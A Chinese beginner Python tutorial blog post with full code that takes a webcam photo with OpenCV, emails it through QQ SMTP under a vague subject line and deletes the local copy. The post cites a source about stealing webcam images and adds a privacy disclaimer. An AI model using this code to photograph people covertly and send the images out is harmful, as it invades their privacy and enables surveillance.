首页 > 编程语言 >【Python入门教程】调取电脑摄像头并发送照片至邮箱

【Python入门教程】调取电脑摄像头并发送照片至邮箱

时间:2023-06-16 18:34:13浏览次数:62  
标签:sender img Python 入门教程 import 邮箱 message 调取 摄像头

        本博文纯属娱乐,仅供大家学习参考,不得以此侵犯他人隐私。本篇文章参考Python研究者的python窃取摄像头的图片。在这里先感谢大佬的付出,大家可以去关注一下。

一、获取邮箱授权码

        授权码用于调用邮箱实现邮件的发送,这里以QQ邮箱做演示,在设置的账户中找到POP3/ IMAP /SMTP / Exchange/ CardDAV/CalDAV服务,开启该服务后获取授权码。

 二、导入三方库

import os
import cv2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage

 三、代码部分

1.获取本地摄像头图片

        通过opencv的VideoCapture函数抓取本地摄像头的图片。VideoCapture还可以解析本地视频、获取RSMP等地址的网络视频,大家可以自行查阅opencv的帮助文档查看。(PS:opencv库真的很强大)

def Get_photo():
    cap = cv2.VideoCapture(0)
    # 从摄像头获取视频
    f, frame = cap.read()
    # 逐帧打开视频
    cv2.imwrite('image.jpg', frame)
    # 将图片保存为本地文件
    cap.release()
    # 关闭摄像头

2.将图片发送至邮箱

        这里的部分,我已经给出了注释就不讲解了。最重要的是这方面博主不太擅长,主要还是靠大佬的帮助,在这里再次膜拜大佬。

def Send_photo(sender, receiver, code1):
    """
    :param sender: 发送者邮箱
    :param receiver: 接收者邮箱
    :param code1: 发送者邮箱授权码
    :return:
    """
    message = MIMEMultipart('related')
    # 创建消息对象
    subject = '技术信息获取'
    # 邮件标题
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receiver
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
    message.attach(content)
    # 创建一个HTML文本对象,其中包含一个图像id
    file = open("image.jpg", "rb")
    img_data = file.read()
    file.close()
    # 打开图片读入内存
    img = MIMEImage(img_data)
    # 创建图像的MIME类型
    img.add_header('Content-ID', 'imageid')
    message.attach(img)
    try:
        server = smtplib.SMTP_SSL("smtp.qq.com", 465)
        server.login(sender, code1)
        # 邮箱授权码
        server.sendmail(sender, receiver, message.as_string())
        server.quit()
        print("邮件发送成功")
        os.remove('image.jpg')  # 删除本地照片
    except smtplib.SMTPException as e:
        print(e)

四、完整代码

# -*- coding: utf-8 -*-
"""
@Time : 2023/6/1 15:29
@Auth : RS迷途小书童
@File :Get_Webcam.py
@IDE :PyCharm
@Purpose :获取电脑摄像头拍照,并发送邮箱
"""
import os
import cv2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage


def Get_photo():
    cap = cv2.VideoCapture(0)
    # 从摄像头获取视频
    f, frame = cap.read()
    # 逐帧打开视频
    cv2.imwrite('image.jpg', frame)
    # 将图片保存为本地文件
    cap.release()
    # 关闭摄像头


def Send_photo(sender, receiver, code1):
    """
    :param sender: 发送者邮箱
    :param receiver: 接收者邮箱
    :param code1: 发送者邮箱授权码
    :return:
    """
    message = MIMEMultipart('related')
    # 创建消息对象
    subject = '技术信息获取'
    # 邮件标题
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receiver
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
    message.attach(content)
    # 创建一个HTML文本对象,其中包含一个图像id
    file = open("image.jpg", "rb")
    img_data = file.read()
    file.close()
    # 打开图片读入内存
    img = MIMEImage(img_data)
    # 创建图像的MIME类型
    img.add_header('Content-ID', 'imageid')
    message.attach(img)
    try:
        server = smtplib.SMTP_SSL("smtp.qq.com", 465)
        server.login(sender, code1)
        # 邮箱授权码
        server.sendmail(sender, receiver, message.as_string())
        server.quit()
        print("邮件发送成功")
        os.remove('image.jpg')  # 删除本地照片
    except smtplib.SMTPException as e:
        print(e)


if __name__ == "__main__":
    send = '**********@qq.com'
    # 发送者邮箱
    receive = '*********@qq.com'
    # 接收者邮箱
    code = "********"
    # 授权码
    Get_photo()
    # 获取图片
    Send_photo(send, receive, code)
    # 发送图片

 

        本文章主要是分享个人在学习Python过程中写过的一些代码。有些部分参考了前人以及官网的教程,如有侵权请联系作者删除,大家有问题可以随时留言交流,博主会及时回复。

标签:sender,img,Python,入门教程,import,邮箱,message,调取,摄像头
From: https://www.cnblogs.com/RSran/p/17486266.html

相关文章

  • Python设计模式-03-原型模式
    原型模式是一种创建型设计模式,它通过复制现有对象来创建新对象,而不是通过实例化类来创建新对象。原型模式通常包括以下几个角色:原型(Prototype):定义了一个克隆自身的接口,用于复制现有对象。具体原型(ConcretePrototype):实现了原型接口,负责复制自身。客户端(Client):使用原型接口来复......
  • Python设计模式-04-单例模式
    单例模式是一种创建型设计模式,它保证一个类只有一个实例,并提供一个全局访问点。单例模式通常包括以下几个角色:单例(Singleton):定义了一个静态方法或类方法,用于获取单例对象。客户端(Client):使用单例对象来完成具体的操作。下面是一个简单的Python示例,演示了如何使用单例模式创......
  • Python设计模式-05-适配器模式
    适配器模式是一种结构型设计模式,它可以将一个类的接口转换成客户端所期望的另一个接口。适配器模式通常包括以下几个角色:目标接口(Target):定义了客户端所期望的接口,可以是一个抽象类或接口。适配器(Adapter):实现了目标接口,并持有一个被适配对象的引用,负责将客户端的请求转换成被适......
  • Jenkins-Slave节点 电脑A控制电脑B运行Python脚本
    电脑A装了Jenkins的服务器,电脑B作为Jenkins的节点电脑(Slave)Jenkins服务的配置1、ManageJenkins>ConfigureSystem 找到JenkinsURL,确保不是127.0.0.1或者localhost就可以了。 2、ManageJenkins>ConfigureGlobalSecurity找到代理,设置端口或者选择随机选取,再把代......
  • Python设计模式-02-建造者模式
    建造者模式是一种创建型设计模式,它可以将一个复杂对象的构建过程与其表示分离,使得同样的构建过程可以创建不同的表示。建造者模式通常包括以下几个角色:产品(Product):表示被构建的复杂对象,通常包含多个部分或组件。抽象建造者(Builder):定义了创建产品的抽象接口,包括创建产品的各个部......
  • python自动使用虚拟环境和安装依赖
    代码如下,Windows环境测试通过importosimportplatformimportreimportsysfrompathlibimportPathdefis_venv()->bool:"""判断是否处于虚拟环境(也适用于poetry的)"""ifhasattr(sys,"real_prefix"):returnTruer......
  • Python - 方法参数中,带self和不带self的区别
    不带self该python文件中,没有类的概念。因此所有的方法参数中,没有self#文件名solution.pydefpartition(head:Optional[ListNode],x:int)->Optional[ListNode]:#...if__name__=='__main__':#注意这里的区别...partition() 如果未来要在其他类里......
  • python中parse的action = store_true含义
     我们在python脚本中经常看到action="store_true,如下图: parser.add_argument('--image',default=False,action="store_true",help='Imagedetectionmode,willignoreallpositionalarguments') 如果运行代码时加了   --image,那么im......
  • 用python生成正玄波信号源码解析
    一前记项目需要生成不同频点的正玄波信号,没找到现成的软件,只能自己写一个了。顺便温习一下python。 二源码解析:#!/usr/bin/pythonimportnumpyasnpfromscipyimportsignalimportwaveimportstructimportsysnum_samples=48000sampling_rate=48000.0ampl......
  • 项目管理工具----普加项目管理中间件(PlusProject )入门教程(3):如何配置列(下)
    普加项目管理中间件是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表,可满足项目管理应用程序的所有需求,是最完善的甘特图图表库。前面分别介绍标准列和自定义列,是本质来说每一列都是一个对象,标准列是预设好了各种属性的包装好的对象,方便直接使用,自定义列是按需处理的更加灵......